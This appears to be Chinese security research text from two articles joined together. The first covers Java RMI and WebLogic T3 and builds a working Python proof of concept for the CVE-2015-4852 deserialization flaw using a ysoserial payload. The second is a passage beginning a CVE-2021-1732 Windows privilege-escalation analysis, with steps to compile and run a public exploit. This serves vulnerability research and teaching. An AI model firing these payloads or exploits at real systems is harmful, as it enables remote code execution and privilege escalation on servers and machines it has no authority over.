我在这里用DNS做一个不严谨的比喻来理解JNDI。当我们想访问一个网站的时候，我们已经习惯于直接输入域名访问了，但其实远程计算机只有IP地址可供我们访问，那就需要DNS服务做域名的解析，取到对应的主机IP地址。JNDI充当了类似的角色，使用统一的接口去查找对应的不同的服务类型。
看一下常见的JNDI的例子：
jdbc://<domain>:<port>
rmi://<domain>:<port>
ldap://<domain>:<port>
JNDI的查找一般使用`lookup()`方法如`registry.lookup(name)`。
#### RMI
RMI(Remote Method
Invocation)即远程方法调用。能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输和分布垃圾收集。
Java
RMI的默认基础通信协议为JRMP，但其也支持开发其他的协议用来优化RMI的传输，或者兼容非JVM，如WebLogic的T3和兼容CORBA的IIOP，其中T3协议为本文重点，后面会详细说。
为了更好的理解RMI，我举一个例子：
假设A公司是某个行业的翘楚，开发了一系列行业上领先的软件。B公司想利用A公司的行业优势进行一些数据上的交换和处理。但A公司不可能把其全部软件都部署到B公司，也不能给B公司全部数据的访问权限。于是A公司在现有的软件结构体系不变的前提下开发了一些RMI方法。B公司调用A公司的RMI方法来实现对A公司数据的访问和操作，而所有数据和权限都在A公司的控制范围内，不用担心B公司窃取其数据或者商业机密。
这种设计和实现很像当今流行的Web
API，只不过RMI只支持Java原生调用，程序员在写代码的时候和调用本地方法并无太大差别，也不用关心数据格式的转换和网络上的传输。类似的做法在ASP.NET中也有同样的实现叫WebServices。
RMI远程方法调用通常由以下几个部分组成：
* 客户端对象
* 服务端对象
* 客户端代理对象（stub）
* 服务端代理对象（skeleton）
下面来看一下最简单的Java RMI要如何实现：
首先创建服务端对象类，先创建一个接口继承`java.rmi.Remote`:
// IHello.java
import java.rmi.*;
public interface IHello extends Remote {
public String sayHello() throws RemoteException;
}
然后创建服务端对象类，实现这个接口：
// Hello.java
public class Hello implements IHello{
public Hello() {}
public String sayHello() {
return "Hello, world!";
}
}
创建服务端远程对象骨架并绑定在JNDI Registry上：
// Server.java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Server{
public Server() throws RemoteException{}
public static void main(String args[]) {
try {
// 实例化服务端远程对象
Hello obj = new Hello();
// 创建服务端远程对象的骨架（skeleton）
IHello skeleton = (IHello) UnicastRemoteObject.exportObject(obj, 0);
// 将服务端远程对象的骨架绑定到Registry上
Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", skeleton);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
RMI的服务端已经构建完成，继续关注客户端：
// Client.java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
private Client() {}
public static void main(String[] args) {
String host = (args.length < 1) ? "127.0.0.1" : args[0];
try {
Registry registry = LocateRegistry.getRegistry(host);
// 创建客户端对象stub（存根）
IHello stub = (IHello) registry.lookup("Hello");
// 使用存根调用服务端对象中的方法
String response = stub.sayHello();
System.out.println("response: " + response);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
至此，简单的RMI服务和客户端已经构建完成，我们来看一下执行效果：
$ rmiregistry &
[1] 80849
$ java Server &
[2] 80935
Server ready
$ java Client
response: Hello, world!
Java RMI的调用过程抓包如下：
我们可以清晰的从客户端调用包和服务端返回包中看到Java序列化魔术头`0xac 0xed`：
因此可以证实Java RMI的调用过程是依赖Java序列化和反序列化的。
简单解释一下RMI的整个调用流程：
1. 客户端通过客户端的Stub对象欲调用远程主机对象上的方法
2. Stub代理客户端处理远程对象调用请求，并且序列化调用请求后发送网络传输
3. 服务端远程调用Skeleton对象收到客户端发来的请求，代理服务端反序列化请求，传给服务端
4. 服务端接收到请求，方法在服务端执行然后将返回的结果对象传给Skeleton对象
5. Skeleton接收到结果对象，代理服务端将结果序列化，发送给客户端
6. 客户端Stub对象拿到结果对象，代理客户端反序列化结果对象传给客户端
我们不难发现，Java RMI的实现运用了程序设计模式中的代理模式，其中Stub代理了客户端处理RMI，Skeleton代理了服务端处理RMI。
#### WebLogic RMI
WebLogic RMI和T3反序列化漏洞有很大关系，因为T3就是WebLogic
RMI所使用的协议。网上关于漏洞的PoC很多，但是我们通过那些PoC只能看到它不正常（漏洞触发）的样子，却很少能看到它正常工作的样子。那么我们就从WebLogic
RMI入手，一起看看它应该是什么样的。
**WebLogic RMI就是WebLogic对Java RMI的实现** ，它和我刚才讲过的Java
RMI大体一致，在功能和实现方式上稍有不同。我们来细数一下WebLogic RMI和Java RMI的不同之处。
* WebLogic RMI支持集群部署和负载均衡
因为WebLogic本身就是为分布式系统设计的，因此WebLogic RMI支持集群部署和负载均衡也不难理解了。
* WebLogic RMI的服务端会使用字节码生成（Hot Code Generation）功能生成代理对象
WebLogic的字节码生成功能会自动生成服务端的字节码到内存。不再生成Skeleton骨架对象，也不需要使用`UnicastRemoteObject`对象。
* WebLogic RMI客户端使用动态代理
在WebLogic RMI 客户端中，字节码生成功能会自动为客户端生成代理对象，因此`Stub`也不再需要。
* **WebLogic RMI主要使用T3协议（还有基于CORBA的IIOP协议）进行客户端到服务端的数据传输**
T3传输协议是WebLogic的自有协议，它有如下特点：
1. 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2. 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。
下面我再简单的实现一下WebLogic RMI，实现依据Oracle的WebLogic
12.2.1的官方文档，但是官方文档有诸多错误，所以我下面的实现和官方文档不尽相同但保证可以运行起来。
首先依然是创建服务端对象类，先创建一个接口继承`java.rmi.Remote`:
// IHello.java
package examples.rmi.hello;
import java.rmi.RemoteException;
public interface IHello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
创建服务端对象类，实现这个接口：
// HelloImpl.java
public class HelloImpl implements IHello {
public String sayHello() {
return "Hello Remote World!!";
}
}
创建服务端远程对象，此时已不需要`Skeleton`对象和`UnicastRemoteObject`对象：
// HelloImpl.java
package examples.rmi.hello;
import javax.naming.*;
import java.rmi.RemoteException;
public class HelloImpl implements IHello {
private String name;
public HelloImpl(String s) throws RemoteException {
super();
name = s;
}
public String sayHello() throws java.rmi.RemoteException {
return "Hello World!";
}
public static void main(String args[]) throws Exception {
try {
HelloImpl obj = new HelloImpl("HelloServer");
Context ctx = new InitialContext();
ctx.bind("HelloServer", obj);
System.out.println("HelloImpl created and bound in the registry " +
"to the name HelloServer");
} catch (Exception e) {
System.err.println("HelloImpl.main: an exception occurred:");
System.err.println(e.getMessage());
throw e;
}
}
}
WebLogic RMI的服务端已经构建完成，客户端也不再需要`Stub`对象：
// HelloClient.java
package examples.rmi.hello;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class HelloClient {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
int port;
String host;
private static void usage() {
System.err.println("Usage: java examples.rmi.hello.HelloClient " +
"<hostname> <port number>");
}
public HelloClient() {
}
public static void main(String[] argv) throws Exception {
if (argv.length < 2) {
usage();
return;
}
String host = argv[0];
int port = 0;
try {
port = Integer.parseInt(argv[1]);
} catch (NumberFormatException nfe) {
usage();
throw nfe;
}
try {
InitialContext ic = getInitialContext("t3://" + host + ":" + port);
IHello obj = (IHello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer on " +
host + " at port " +
port + ": " + obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}
private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
最后记得项目中引入`wlthint3client.jar`这个jar包供客户端调用时可以找到`weblogic.jndi.WLInitialContextFactory`。
简单的WebLogic RMI服务端和客户端已经构建完成，此时我们无法直接运行，需要生成jar包去WebLogic Server 管理控制台中部署运行。
生成jar包可以使用大家常用的build工具，如ant、maven等。我这里提供的是maven的构建配置：
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>examples.rmi</groupId>
<artifactId>hello</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>examples.rmi.hello.HelloImpl</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
构建成功后，将jar包复制到WebLogic Server域对应的`lib/`文件夹中，通过WebLogic Server
管理控制台中的启动类和关闭类部署到WebLogic Server中，新建启动类如下：
重启WebLogic，即可在启动日志中看到如下内容：
HelloImpl created and bound in the registry to the name HelloServer
并且在服务器的JNDI树信息中可以看到`HelloServer`已存在：
WebLogic RMI的服务端已经部署完成，客户端只要使用java命令正常运行即可：
$java -cp ".;wlthint3client.jar;hello-1.0-SNAPSHOT.jar" examples.rmi.hello.HelloClient 127.0.0.1 7001
运行结果如下图：
我们完成了一次正常的WebLogic RMI调用过程，我们也来看一下WebLogic RMI的调用数据包：
我在抓包之后想过找一份完整的T3协议的定义去详细的解释T3协议，但或许因为WebLogic不是开源软件，我最终没有找到类似的协议定义文档。因此我只能猜测T3协议包中每一部分的作用。虽然是猜测，但还是有几点值得注意，和漏洞利用关系很大，我放到下一节说。
再来看一下WebLogic RMI的调用流程：
前置知识讲完了，小结一下这些概念的关系，Java RMI即远程方法调用，默认使用JRMP协议通信。WebLogic RMI是WebLogic对Java
RMI的实现，其使用T3或IIOP协议作为通信协议。无论是Java RMI还是WebLogic RMI，都需要使用JNDI去发现远端的RMI服务。
两张图来解释它们的关系：
#### 漏洞原理
上面，我详细解释了WebLogic RMI的调用过程，我们初窥了一下T3协议。那么现在我们来仔细看一下刚才抓到的正常WebLogic
RMI调用时T3协议握手后的第一个数据包,有几点值得注意的是：
* 我们发现每个数据包里不止包含一个序列化魔术头（0xac 0xed 0x00 0x05）
* 每个序列化数据包前面都有相同的二进制串（0xfe 0x01 0x00 0x00）
* 每个数据包上面都包含了一个T3协议头
* 仔细看协议头部分，我们又发现数据包的前4个字节正好对应着数据包长度
* 以及我们也能发现包长度后面的“01”代表请求，“02”代表返回
这些点说明了T3协议由协议头包裹，且数据包中包含多个序列化的对象。那么我们就可以尝试构造恶意对象并封装到数据包中重新发送了。流程如下：
替换序列化对象示意图如下：
剩下的事情就是找到合适的利用链了（通常也是最难的事）。
我用最经典的CVE-2015-4852漏洞，使用Apache Commons Collections链复现一下整个过程，制作一个简单的PoC。
首先使用Ysoserial生成Payload：
$java -jar ysoserial.jar CommonsCollections1 'touch /hacked_by_tunan.txt' > payload.bin
然后我们使用Python发送T3协议的握手包，直接复制刚才抓到的第一个包的内容，看下效果如何：
#!/usr/bin/python
#coding:utf-8
# weblogic_basic_poc.py
import socket
import sys
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 第一个和第二个参数，传入目标IP和端口
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# 发送握手包
handshake='t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'
print 'sending "%s"' % handshake
sock.sendall(handshake)
data = sock.recv(1024)
print 'received "%s"' % data
执行一下看结果：
$python weblogic_basic_poc.py 127.0.0.1 7001
connecting to 127.0.0.1 port 7001
sending "t3 12.1.3
AS:255
HL:19
MS:10000000
"
received "HELO:10.3.6.0.false
AS:2048
HL:19
"
很好，和上面抓到的包一样，握手成功。继续下一步。下一步我需要替换掉握手后的第一个数据包中的一组序列化数据，这个数据包原本是客户端请求WebLogic
RMI发的T3协议数据包。假设我们替换第一组序列化数据：
# weblogic_basic_poc.py
# 第三个参数传入一个文件名，在本例中为刚刚生成的“payload.bin”
payloadObj = open(sys.argv[3],'rb').read()
# 复制自原数据包，从24到155
payload='\x00\x00\x05\xf8\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x72\x00\x00\xea\x60\x00\x00\x00\x19\...omit...\x70\x06\xfe\x01\x00\x00'
# 要替换的Payload
payload=payload+payloadObj
# 复制剩余数据包，从408到1564
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61...omit...\x00\x00\x00\x00\x78'
# 重新计算数据包大小并替换原数据包中的前四个字节
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print 'sending payload...'
sock.send(payload)
PoC构造完成，验证下效果：
$python weblogic_basic_poc.py 127.0.0.1 7001 payload.bin
connecting to 127.0.0.1 port 7001
sending "t3 12.1.3
AS:255
HL:19
MS:10000000
"
received "HELO:10.3.6.0.false
AS:2048
HL:19
"
sending payload...
执行后去目标系统根目录下，可以看到`hacked_by_tunan.txt`这个文件被创建成功，漏洞触发成功。
#### 简要漏洞分析
简要的分析一下这个漏洞，远程调试时断点应下在`wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev`的`readObject()`中。
可以看到此处即对我生成的恶意对象进行了反序列化，此处为第一次反序列化，不是命令的执行点。后续的执行过程和经典的apache-commons-collections反序列化漏洞执行过程一致，需要继续了解可参考@gyyyy的文章：[《浅析Java序列化和反序列化——经典的apache-commons-collections》](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E7%BB%8F%E5%85%B8%E7%9A%84apache-commons-collections "《浅析Java序列化和反序列化——经典的apache-commons-collections》")
#### 补丁分析
WebLogic
T3反序列化漏洞用黑名单的方式修复，补丁位置在`Weblogic.utils.io.oif.WebLogicFilterConfig.class`:
此类型漏洞也经历了多次修复绕过的过程。
### WebLogic其他漏洞
WebLogic是一个Web漏洞库，其中以反序列化漏洞为代表，后果最为严重。另外还有几个月前爆出的XXE漏洞：CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650、任意文件上传漏洞：CVE-2018-2894。此文不再展开讨论，感兴趣的可以对照上表中的文章详细了解。
## WebLogic环境搭建工具
前面说到，WebLogic环境搭建过程很繁琐，很多时候需要测试各种WebLogic版本和各种JDK版本的排列组合，因此我在这次研究的过程中写了一个脚本级别的WebLogic环境搭建工具。这一小节我会详细的说一下工具的构建思路和使用方法，也欢迎大家继续完善这个工具，节省大家搭建环境的时间。工具地址：<https://github.com/QAX-A-Team/WeblogicEnvironment>
此环境搭建工具使用Docker和shell脚本，因此需要本机安装Docker才可以使用。经测试漏洞搭建工具可以在3分钟内构建出任意JDK版本搭配任意WebLogic版本，包含一个可远程调试的已启动的WebLogic
Server域环境。
### 需求
* 自动化安装任意版本JDK
* 自动化安装任意版本WebLogic Server
* 自动化创建域
* 自动打开远程调试
* 自动启动一个WebLogic Server域
### 流程
### 使用方法：
#### 下载JDK安装包和WebLogic安装包
下载相应的JDK版本和WebLogic安装包，将JDK安装包放到`jdks/`目录下，将WebLogic安装包放到`weblogics/`目录下。
**此步骤必须手动操作，否则无法进行后续步骤。**
JDK安装包下载地址：<https://www.oracle.com/technetwork/java/javase/archive-139210.htmlWebLogic>安装包下载地址：<https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html>
#### 构建镜像并运行
回到根目录，执行Docker构建镜像命令：
docker build --build-arg JDK_PKG=<YOUR-JDK-PACKAGE-FILE-NAME> --build-arg WEBLOGIC_JAR=<YOUR-WEBLOGIC-PACKAGE-FILE-NAME> -t <DOCKER-IMAGE-NAME> .
镜像构建完成后，执行以下命令运行：
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name <CONTAINER-NAME> <DOCKER-IMAGE-NAME-YOU-JUST-BUILD>
以WebLogic12.1.3配JDK 7u21为例，构建镜像命令如下：
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar -t weblogic12013jdk7u21 .
镜像构建完成后，执行以下命令运行：
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21
运行后可访问`http://localhost:7001/console/login/LoginForm.jsp`登录到WebLogic
Server管理控制台，默认用户名为`weblogic`,默认密码为`qaxateam01`
#### 远程调试
如需远程调试，需使用`docker cp`将远程调试需要的目录从已运行的容器复制到本机。
也可以使用`run_weblogic1036jdk6u25.sh`、`run_weblogic12013jdk7u21sh`、`run_weblogic12021jdk8u121.sh`这三个脚本进行快速环境搭建并复制远程调试需要用到的目录。执行前请赋予它们相应的可执行权限。
#### 示例
以JDK 7u21配合WebLogic 12.1.3为例，自动搭建效果如下：
### 兼容性测试
已测试了如下环境搭配的兼容性：
* 测试系统：macOS Mojave 10.14.5
* Docker版本：Docker 18.09.2
* WebLogic 10.3.6 With JDK 6u25
* WebLogic 10.3.6 With JDK 7u21
* WebLogic 10.3.6 With JDK 8u121
* WebLogic 12.1.3 With JDK 7u21
* WebLogic 12.1.3 With JDK 8u121
* WebLogic 12.2.1 With JDK 8u121
### 已知问题
* 由于时间关系，我没有对更多WebLogic版本和更多的JDK版本搭配做测试，请自行测试
* 请时刻关注输出内容，如出现异常请自行修改对应脚本
欢迎大家一起为此自动化环境搭建工具贡献力量。
## 总结
分析WebLogic漏洞异常辛苦，因为没有足够的资料去研究。因此想写这篇文帮助大家。但这篇文行文也异常痛苦，同样是没有资料，官方文档还有很多错误，很无奈。希望这篇文能对WebLogic的安全研究者有所帮助。不过通过写这篇文，我发现无论怎样也只是触及到了WebLogic的冰山一角，它很庞大，或者不客气的说很臃肿。我们能了解的太少太少，也注定还有很多点是没有被人开发过，比如WebLogic
RMI不止T3一种协议，实现`weblogic.jndi.WLInitialContextFactory`的也不止有`wlthint3client.jar`这一个jar包。还望大家继续深挖。
## 参考
1. <https://xz.aliyun.com/t/5448>
2. <https://paper.seebug.org/584/>
3. <https://paper.seebug.org/333/>
4. <https://xz.aliyun.com/t/1825/#toc-2>
5. <http://www.saxproject.org/copying.html>
6. <https://www.4hou.com/vulnerable/12874.html>
7. <https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/>
8. [ https://mp.weixin.qq.com/s/QYrPrctdDJl6sgcKGHdZ7g](https://mp.weixin.qq.com/s/QYrPrctdDJl6sgcKGHdZ7g " https://mp.weixin.qq.com/s/QYrPrctdDJl6sgcKGHdZ7g")
9. <https://docs.oracle.com/cd/E11035_01/wls100/client/index.html>
10. <https://docs.oracle.com/cd/E11035_01/wls100/client/index.html>
11. <https://docs.oracle.com/middleware/12212/wls/INTRO/preface.htm#INTRO119>
12. <https://docs.oracle.com/middleware/1213/wls/WLRMI/preface.htm#WLRMI101>
13. <https://docs.oracle.com/middleware/11119/wls/WLRMI/rmi_imp.htm#g1000014983>
14. <https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md>
15. <http://www.wxylyw.com/2018/11/03/WebLogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
16. <https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/>
* * * | 社区文章 |
# CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 00 前言
CVE-2021-1732 是蔓灵花（BITTER）APT 组织在某次被披露的攻击行动中使用的 0day 漏洞，该 **高危**
漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限。受到该漏洞影响的 Windows
版本众多[1]，原始利用代码经过少量修改后甚至可以在（当时的）最新版 Windows 10 20H2 64 位全补丁环境进行提权。漏洞的利用样本最早在
2020 年 12 月 10 号就被安恒威胁情报中心捕获到[2]，在其与 MSRC 的通力合作下，今年 2 月初，MSRC 将漏洞修复。
目前在 github 上公布的可用 EXP 主要有两个版本，分别由 Kernel Killer[3] 和 KaLendsi[4] 编写，本文将使用
**前者** 的 EXP 来做分析和调试（Windows 版本为 Windows 10 Version **1809** for
x64）。其本人也在看雪论坛发布了 EXP 开发的相关文章[5]（与 github 仓库中的 pdf 内容相同），本文会对 EXP
作者文章的技术细节进行补充，并对 EXP 代码进行近乎逐行的分析、注释。
接下来，我会用最详尽的方式带你从零认知到完全理解 CVE-2021-1732。如果你正打算入门 Windows
内核，那么这篇文章将会给你提供一些静态分析及动态调试的技巧，如果你是这方面的老师傅，也欢迎对我说错的地方批评指正。总之，要是能在某些方面帮到你的话，就再好不过了。
* * *
## 01 漏洞综述
### 1.1 漏洞成因
用户态进程 p 在调用 CreateWindowEx 创建带有 **扩展内存** 的 Windows 窗口时，内核态图形驱动 win32kfull.sys
模块的 xxxCreateWindowEx 函数会通过 nt!KeUserModeCallback 回调机制调用用户态函数
user32!_xxxClientAllocWindowClassExtraBytes，其向内核返回用户态创建的窗口扩展内存。该返回值如何解释，由窗口对应
tagWND 结构体的 dwExtraFlag 字段规定。如果 dwExtraFlag 包含 0x800 属性，则返回值被视作
**相对内核桌面堆起始地址的偏移** 。攻击者可以 hook user32!_xxxClientAllocWindowClassExtraBytes
函数，通过一些手段使得 dwExtraFlag 包含 0x800 属性，然后直接调用 ntdll!NtCallbackReturn
向内核返回一个任意值。回调结束后，dwExtraFlag 不会被清除，未经校验的返回值直接被用于堆内存寻址（桌面堆起始地址 +
返回值），引发内存越界访问。随后攻击者通过一些巧妙的构造及 API 封装，获得内存越界读写能力，最后复制 system 进程的 Token 到进程 p
完成提权。
总的来说，漏洞是由 win32kfull!xxxCreateWindowEx 函数内一处由用户态回调导致的 flag 位设置与对应偏移设置不同步所导致的。
### 1.2 漏洞及攻击样本特点[2]
* 攻击目标为最新版 Windows 10 操作系统
* 1.在野样本攻击的是当时最新版 Windows10 1909 64 位操作系统（在野样本的编译时间为 2020 年 5 月）
* 2.在野样本适配了从 Windows10 1709 到 Windows10 1909 多个版本，且会只在 Windows10 1709 及以上版本中运行利用代码
* 3.原始利用代码经过少量修改后可在（当时的）最新版 Windows10 20H2 64 位全补丁环境进行提权
* 漏洞质量高，利用手法精湛，稳定性好，动态检测难度大
* 1.在野样本借助漏洞绕过了最新版 Windows 10 系统的内核地址空间布局随机化（KASLR）
* 2.本次漏洞不同于以往的 Win32k 漏洞，漏洞类型不是 UAF，整个利用过程不涉及堆喷射和内存重用，Type Isolation 缓解机制对其无效。在野样本在打开 DriverVerifier 验证器的情况下依然可以正常提权，无法通过开启内核池追踪检测到，动态检测难度大
* 3.在野样本的任意地址写入采用了漏洞特性结合 SetWindowLong 系列函数的手法，令人眼前一亮
* 4.在野样本借助 GetMenuBarInfo 实现任意地址读取，这种手法此前未被公开过，这体现出开发者精湛的利用编写水平
* 5.在野样本在构造出任意地址读写原语后，采用 DataOnlyAttack 的方式替换了当前进程的 Token，目前的内核缓解机制无法防御此类攻击
* 6.在野样本的漏洞利用成功率几乎为 100%
* 7.在野样本在完成利用后，将相关内核结构全部还原，整个过程不会对系统造成蓝屏影响，工作稳定
* 使用谨慎，隐蔽性好
* 1.在野样本在进行漏洞利用前对特定杀毒软件进行了检测
* 2.在野样本对当前操作系统版本进行了判断，低于 Windows 10 1709 版本的系统不会调用漏洞利用函数
* 3.在野样本从 2020 年 5 月完成编译，到 2020 年 12 月被发现，中间至少存活了 7 个月，这说明使用者在使用该漏洞时相当谨慎，间接体现出捕获此类隐蔽性样本的难度
### 1.3 受影响的系统版本
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
### 1.4 漏洞利用效果
平台：Windows 10 Version 1809 for x64
* * *
## 02 漏洞复现
### 2.1 制作 Win10 1809 虚拟机
首先自然是需要一个 Win10 操作系统镜像，在 [MSDN 工具站](https://msdn.itellyou.cn) 上找到这个镜像并下载：
使用 VMware 创建一个新的虚拟机：
注册码不用填，选择一个要安装的版本，并另外注册一个非 admin 用户：
完成配置之前，需要注意，不论你的电脑配置有多好，请将 **处理器数和核心数都设置为 1** ，以排除多核复杂性对后面动态调试造成影响：
内存的话给个 2G 就行了，内存给得越大，快照的拍摄和还原就会越慢。之后就是等待 Win10 安装完毕。
### 2.2 编译 exp
使用 Visual Studio 2019 创建一个新项目，选择 Windows 桌面向导，下一步：
取个项目名 ExploitTest：
应用程序类型选择 **桌面应用程序** ，并勾选空项目：
从 Kernel Killer 的 Github 仓库[3] 获取 CVE-2021-1732_Exploit.cpp，在 VS
侧面的源文件处右击，添加一个 **现有项** ，选择刚下载的 CVE-2021-1732_Exploit.cpp：
这里切换成 Debug x64：
双击打开 CVE-2021-1732_Exploit.cpp，然后 项目 -> ExploitTest 属性，再次确认配置的是 Debug x64：
将 C/C++ -> 优化 -> 优化 设置为 **禁用** ：
将 C/C++ -> 代码生成 -> 运行库 设置为 **多线程调试（MTd）** ，将运行库静态链接到可执行文件中，否则在虚拟机中运行时可能会报找不到
dll 的错。
将 链接器 -> 调试 -> 生成调试信息 设置为 **生成经过优化以共享和发布的调试信息（/DEBUG:FULL）** ，这是为了后面用 ida 加载
pdb 时有符号。
将 链接器 -> 高级 -> 随机基址 设置为 **否（/DYNAMICBASE:NO）** ，固定基址 设置为 **是（/FIXED）**
，这是为了动调的时候方便下断点。
**应用** 后选择上方的 生成 -> 生成解决方案，生成好后就能在项目所在的文件夹下看到一个 x64 文件夹：
进入其中的 Debug 文件夹，就能看到生成的 exe 和 pdb 了：
### 2.3 提权复现
将 ExploitTest.exe 拷贝到虚拟机中，再拷贝一个 64 位的
[ProcessExplorer](https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer) 到虚拟机桌面：
**右键以管理员身份运行** ProcessExplorer，在上方空白处右键 -> Select Columns，勾选上 Integrity
Level，这样就能看到进程的权限了：
**拍摄快照** （这里务必拍摄快照，方便之后回退）后，双击运行 ExploitTest.exe，查看进程权限：
在命令行界面按任意键让程序继续执行，再看进程权限，已提升为 system：
可能一次不能成功（也有可能直接蓝屏），这个时候恢复一下快照，再重新尝试运行即可。
* * *
## 03 漏洞原理分析
### 3.1 Windows 桌面程序编程
这个部分是为没有进行过/不太熟练 Windows 桌面应用开发的读者而写的，我会用尽可能少的篇幅来让读者快速上手桌面开发 API
以及一些相关的结构体。如果你已经知晓了结构体 WNDCLASSEX 的 cbWndExtra 字段的作用，以及其与
GetWindowLong/SetWindowLong 系列 API 配合的含义，那么你可以选择跳到下个部分去。
和 **2.2 节** 操作相同，使用 Visual Studio 2019 创建一个桌面应用程序的空项目，切换成 Debug
x64，在左侧源文件处右击，添加一个新建项，命名为 main.cpp，将下面的代码复制进去：
#include <Windows.h>
/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_RBUTTONDOWN: // #define WM_RBUTTONDOWN 0x0204 - 代表鼠标右键按下
MessageBox(hWnd, L"Right Button Down Detected", L"Message Arrival", MB_OK); // 简单弹个对话框
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam); // 对其他消息都使用默认方式处理
}
return 0;
}
/* 程序入口点 */
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND hwnd; // 创建窗口函数 CreateWindowEx 会返回一个窗口句柄，这里定义下，用来接收这个句柄
MSG msg; // 消息结构体，在消息循环的时候需要
WNDCLASSEX wndclass = { 0 }; // 创建窗口类结构体
/* 对窗口类的各属性进行初始化 */
wndclass.cbSize = sizeof(WNDCLASSEX); // 字段 cbSize 需要等于结构体 WNDCLASSEX 的大小
wndclass.style = CS_HREDRAW | CS_VREDRAW; // 窗口类风格 - 窗口水平/竖直方向的长度变化时重绘整个窗口
wndclass.lpfnWndProc = MyWndProc; // 窗口消息处理函数 - 这里使用上面声明的 MyWndProc
wndclass.hInstance = hInstance; // 该窗口类的窗口消息处理函数所属的应用实例 - 这里就使用 hInstance
wndclass.lpszClassName = L"TestWndClass"; // 窗口类名称
/* 注册窗口类 */
RegisterClassEx(&wndclass);
/* 创建窗口 */
hwnd = CreateWindowEx(
NULL, // 扩展窗口风格
L"TestWndClass", // 窗口类名
